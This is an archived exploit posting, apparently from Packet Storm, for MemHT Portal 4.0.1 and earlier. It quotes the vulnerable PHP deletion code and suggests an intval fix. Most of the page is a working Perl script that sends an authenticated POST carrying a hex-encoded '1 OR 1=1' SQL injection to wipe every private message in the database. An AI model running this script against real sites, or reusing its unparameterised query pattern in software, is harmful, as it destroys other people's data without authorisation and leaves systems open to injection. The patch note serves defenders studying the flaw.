what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MemHT Portal 4.0.1 Delete Messages

MemHT Portal 4.0.1 Delete Messages
Posted Feb 16, 2009
Authored by StAkeR

MemHT Portal versions 4.0.1 and below delete all private messages exploit.

tags | exploit
SHA-256 | c0e93f7e01ec0a9ee8f05fe5f09c0a75049bedd768b076dc7f200d92f04db2fc

MemHT Portal 4.0.1 Delete Messages

Change Mirror Download
#!/usr/bin/perl
# MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit
# by yeat - staker[at]hotmail[dot]it

<<Details;

Note:

1- works regardless of php.ini settings.
2- blind sql injection benchmark() method is possible.
3- don't add me on msn messenger.
4- Thanks to evilsocket && Sir Dark.
5- MemHT is a good content management system but it has some security problem.
6- http://milw0rm.com/exploits/7859
security patch: http://www.memht.com/forum_thread_17756_FixPatch-4-0-1.html

/pages/pvtmsg/index.php / Line: 851 -867

<?php


}

break;

case "deleteSelected":

if (isset($_POST['deletenewpm'])) {
foreach ($_POST['deletenewpm'] as $value) {
$dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
}
}
if (isset($_POST['deletepm'])) {
foreach ($_POST['deletepm'] as $value) {
$dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
}
}

?>


ok then foreach ($_POST['deletenewpm'] as $value)

deletenewpm[]= $value ;) so if we send a evil code like this:
1 OR 1=1 we'll delete all messages from mysql database

Possible Fix:

Line: 859 && 864

Edit $dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
Fix: $dblink->query("DELETE FROM memht_pvtmsg WHERE id=".intval($value));



regards :)



Details


use IO::Socket;
use Digest::MD5('md5_hex');

our ($host,$path,$id,$username,$password) = @ARGV;


if (@ARGV != 5) {

print "\n+--------------------------------------------------------------------+\r",
"\n| MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit |\r",
"\n+--------------------------------------------------------------------+\r",
"\nby yeat - staker[at]hotmail[dot]it\n",
"\nUsage + perl $0 [host] [path] [id] [username] [password]\r",
"\nHost + localhost\r",
"\nPath + /MemHT\r",
"\nID + your user id\r",
"\nPassword + your password\n";
exit;
}

else {

my $html = undef;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;

my $post = "deletenewpm[]=\x31\x20\x4F\x52\x20\x31\x3D\x31".
"&Submit.x=34".
"&Submit.y=9";

my $auth = cookies();

my $data = "POST /$path/index.php?page=pvtmsg&op=deleteSelected HTTP/1.1\r\n".
"Host: $host\r\n".
"User-Agent: Lynx (textmode)\r\n".
"Cookie: $auth\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($post)."\r\n\r\n$post\r\n\r\n".
"Connection: close\r\n\r\n";

$sock->send($data);

while (<$sock>) {
$html .= $_;
}

if ($html =~ /Private Messages/i) {
print "Exploit successfull,all messages deleted.\n";
}
else {
print "Exploit failed!\n";
}
}


sub cookies
{
$username = md5_hex($username);
$password = md5_hex($password);

return "login_user=$id#$username#$password";
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close